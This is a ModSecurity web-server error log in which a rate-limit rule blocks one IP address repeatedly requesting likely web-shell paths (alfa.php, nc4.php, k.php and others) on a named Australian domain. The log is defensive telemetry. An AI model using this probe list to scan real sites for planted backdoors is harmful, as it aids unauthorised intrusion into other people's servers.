[Sun Dec 14 07:28:26.145444 2025] [:error] [pid 41600:tid 41604] [client 52.169.159.88:1673] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aT32mtFLTBZjcwNd_VsO-AAAAQE"]
[Sun Dec 14 07:28:26.648357 2025] [:error] [pid 41600:tid 41606] [client 52.169.159.88:8778] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aT32mtFLTBZjcwNd_VsO-gAAAQM"]
[Sun Dec 14 07:28:27.148639 2025] [:error] [pid 39525:tid 39588] [client 52.169.159.88:3545] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aT32m01fX_pB_BrvE_6UuAAAAIU"]
[Sun Dec 14 07:28:27.648858 2025] [:error] [pid 39523:tid 39536] [client 52.169.159.88:5473] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aT32mzQTQH1raAj2lkg_rgAAAAg"]
[Sun Dec 14 07:28:28.151815 2025] [:error] [pid 39524:tid 39566] [client 52.169.159.88:12242] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/z.php"] [unique_id "aT32nGrVGpbDzFtDE9MlugAAAEo"]
[Sun Dec 14 07:28:28.650724 2025] [:error] [pid 39614:tid 39631] [client 52.169.159.88:3564] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/z.php"] [unique_id "aT32nPxybG8-9MflbDelpwAAAM8"]
[Sun Dec 14 07:28:29.155923 2025] [:error] [pid 41600:tid 41619] [client 52.169.159.88:5988] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/z.php"] [unique_id "aT32ndFLTBZjcwNd_VsO_QAAARA"]
[Sun Dec 14 07:28:29.664531 2025] [:error] [pid 39524:tid 39559] [client 52.169.159.88:8748] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/z.php"] [unique_id "aT32nWrVGpbDzFtDE9MluwAAAEM"]
[Sun Dec 14 07:28:30.164542 2025] [:error] [pid 39524:tid 39564] [client 52.169.159.88:10946] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aT32nmrVGpbDzFtDE9MlvAAAAEg"]
[Sun Dec 14 07:28:30.665447 2025] [:error] [pid 39525:tid 39601] [client 52.169.159.88:4244] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aT32nk1fX_pB_BrvE_6UvAAAAJI"]
[Sun Dec 14 07:28:31.167715 2025] [:error] [pid 39614:tid 39639] [client 52.169.159.88:11915] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aT32n_xybG8-9MflbDelqgAAANc"]
[Sun Dec 14 07:28:31.678542 2025] [:error] [pid 39523:tid 39545] [client 52.169.159.88:10747] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aT32nzQTQH1raAj2lkg_rwAAABE"]
[Sun Dec 14 07:28:32.181854 2025] [:error] [pid 39614:tid 39633] [client 52.169.159.88:8822] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT32oPxybG8-9MflbDelqwAAANE"]
[Sun Dec 14 07:28:32.683040 2025] [:error] [pid 41600:tid 41621] [client 52.169.159.88:8966] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT32oNFLTBZjcwNd_VsPAwAAARI"]
[Sun Dec 14 07:28:33.197758 2025] [:error] [pid 41600:tid 41627] [client 52.169.159.88:8980] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT32odFLTBZjcwNd_VsPBQAAARg"]
[Sun Dec 14 07:28:33.703046 2025] [:error] [pid 39525:tid 39592] [client 52.169.159.88:10978] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT32oU1fX_pB_BrvE_6UvgAAAIk"]
[Sun Dec 14 07:28:34.208131 2025] [:error] [pid 39524:tid 39576] [client 52.169.159.88:7443] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32omrVGpbDzFtDE9MlvgAAAFQ"]
[Sun Dec 14 07:28:34.708384 2025] [:error] [pid 39525:tid 39599] [client 52.169.159.88:16377] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32ok1fX_pB_BrvE_6UwAAAAJA"]
[Sun Dec 14 07:28:35.216473 2025] [:error] [pid 41600:tid 41609] [client 52.169.159.88:7459] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32o9FLTBZjcwNd_VsPCQAAAQY"]
[Sun Dec 14 07:28:35.715954 2025] [:error] [pid 39614:tid 39623] [client 52.169.159.88:11847] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32o_xybG8-9MflbDelrgAAAMc"]
[Sun Dec 14 07:28:36.217735 2025] [:error] [pid 39524:tid 39568] [client 52.169.159.88:5864] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "aT32pGrVGpbDzFtDE9MlwAAAAEw"]
[Sun Dec 14 07:28:36.716993 2025] [:error] [pid 39614:tid 39634] [client 52.169.159.88:11862] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "aT32pPxybG8-9MflbDelrwAAANI"]
[Sun Dec 14 07:28:37.219447 2025] [:error] [pid 39525:tid 39596] [client 52.169.159.88:5449] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "aT32pU1fX_pB_BrvE_6UxQAAAI0"]
[Sun Dec 14 07:28:37.719625 2025] [:error] [pid 41600:tid 41615] [client 52.169.159.88:10969] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/build.php"] [unique_id "aT32pdFLTBZjcwNd_VsPCwAAAQw"]
[Sun Dec 14 07:28:38.220408 2025] [:error] [pid 39525:tid 39591] [client 52.169.159.88:6056] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aT32pk1fX_pB_BrvE_6UxgAAAIg"]
[Sun Dec 14 07:28:38.721821 2025] [:error] [pid 41600:tid 41623] [client 52.169.159.88:13513] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aT32ptFLTBZjcwNd_VsPEAAAARQ"]
[Sun Dec 14 07:28:39.226254 2025] [:error] [pid 41600:tid 41611] [client 52.169.159.88:4250] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aT32p9FLTBZjcwNd_VsPEQAAAQg"]
[Sun Dec 14 07:28:39.729624 2025] [:error] [pid 39524:tid 39579] [client 52.169.159.88:10051] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aT32p2rVGpbDzFtDE9MlxAAAAFc"]
[Sun Dec 14 07:28:40.228853 2025] [:error] [pid 39614:tid 39635] [client 52.169.159.88:5135] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aT32qPxybG8-9MflbDeltQAAANM"]
[Sun Dec 14 07:28:40.734694 2025] [:error] [pid 39614:tid 39627] [client 52.169.159.88:10993] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aT32qPxybG8-9MflbDeltwAAAMs"]
[Sun Dec 14 07:28:41.234492 2025] [:error] [pid 39525:tid 39597] [client 52.169.159.88:16322] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aT32qU1fX_pB_BrvE_6UyQAAAI4"]
[Sun Dec 14 07:28:41.735982 2025] [:error] [pid 39525:tid 39594] [client 52.169.159.88:7430] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aT32qU1fX_pB_BrvE_6UzAAAAIs"]
[Sun Dec 14 07:28:42.240073 2025] [:error] [pid 41600:tid 41624] [client 52.169.159.88:6039] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aT32qtFLTBZjcwNd_VsPGAAAARU"]
[Sun Dec 14 07:28:42.741679 2025] [:error] [pid 39525:tid 39599] [client 52.169.159.88:16354] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aT32qk1fX_pB_BrvE_6UzwAAAJA"]
[Sun Dec 14 07:28:43.241155 2025] [:error] [pid 39525:tid 39598] [client 52.169.159.88:4203] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aT32q01fX_pB_BrvE_6U0gAAAI8"]
[Sun Dec 14 07:28:43.742186 2025] [:error] [pid 39525:tid 39606] [client 52.169.159.88:9017] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aT32q01fX_pB_BrvE_6U0wAAAJc"]
[Sun Dec 14 07:28:44.242359 2025] [:error] [pid 39525:tid 39596] [client 52.169.159.88:6030] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT32rE1fX_pB_BrvE_6U1AAAAI0"]
[Sun Dec 14 07:28:44.742500 2025] [:error] [pid 41600:tid 41613] [client 52.169.159.88:5176] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT32rNFLTBZjcwNd_VsPGgAAAQo"]
[Sun Dec 14 07:28:45.242136 2025] [:error] [pid 39523:tid 39529] [client 52.169.159.88:10093] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT32rTQTQH1raAj2lkg_tQAAAAE"]
[Sun Dec 14 07:28:45.744524 2025] [:error] [pid 39523:tid 39530] [client 52.169.159.88:5338] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT32rTQTQH1raAj2lkg_twAAAAI"]
[Sun Dec 14 07:28:46.248360 2025] [:error] [pid 39523:tid 39546] [client 52.169.159.88:10950] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT32rjQTQH1raAj2lkg_uAAAABI"]
[Sun Dec 14 07:28:46.751300 2025] [:error] [pid 39614:tid 39625] [client 52.169.159.88:13534] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT32rvxybG8-9MflbDeluAAAAMk"]
[Sun Dec 14 07:28:47.251903 2025] [:error] [pid 39523:tid 39533] [client 52.169.159.88:5178] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT32rzQTQH1raAj2lkg_uQAAAAU"]
[Sun Dec 14 07:28:47.752568 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:7436] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT32r_xybG8-9MflbDelugAAAMg"]
[Sun Dec 14 07:28:48.252857 2025] [:error] [pid 39614:tid 39623] [client 52.169.159.88:5461] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT32sPxybG8-9MflbDelvAAAAMc"]
[Sun Dec 14 07:28:48.750872 2025] [:error] [pid 39614:tid 39622] [client 52.169.159.88:10953] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT32sPxybG8-9MflbDelvQAAAMY"]
[Sun Dec 14 07:28:49.255404 2025] [:error] [pid 39614:tid 39630] [client 52.169.159.88:16196] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT32sfxybG8-9MflbDelvgAAAM4"]
[Sun Dec 14 07:28:49.757819 2025] [:error] [pid 39523:tid 39528] [client 52.169.159.88:9002] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT32sTQTQH1raAj2lkg_vQAAAAA"]
[Sun Dec 14 07:28:50.258707 2025] [:error] [pid 39525:tid 39583] [client 52.169.159.88:5340] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT32sk1fX_pB_BrvE_6U2AAAAIA"]
[Sun Dec 14 07:28:50.760554 2025] [:error] [pid 39523:tid 39538] [client 52.169.159.88:16247] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT32sjQTQH1raAj2lkg_vwAAAAo"]
[Sun Dec 14 07:28:51.264933 2025] [:error] [pid 39525:tid 39597] [client 52.169.159.88:10056] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT32s01fX_pB_BrvE_6U2QAAAI4"]
[Sun Dec 14 07:28:51.773488 2025] [:error] [pid 39525:tid 39601] [client 52.169.159.88:4117] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT32s01fX_pB_BrvE_6U2gAAAJI"]
[Sun Dec 14 07:28:52.273433 2025] [:error] [pid 39614:tid 39636] [client 52.169.159.88:13515] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32tPxybG8-9MflbDelwQAAANQ"]
[Sun Dec 14 07:28:52.773083 2025] [:error] [pid 39524:tid 39568] [client 52.169.159.88:14536] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32tGrVGpbDzFtDE9MlygAAAEw"]
[Sun Dec 14 07:28:53.273744 2025] [:error] [pid 39524:tid 39578] [client 52.169.159.88:5660] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32tWrVGpbDzFtDE9MlywAAAFY"]
[Sun Dec 14 07:28:53.774325 2025] [:error] [pid 39523:tid 39551] [client 52.169.159.88:6057] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32tTQTQH1raAj2lkg_wQAAABc"]
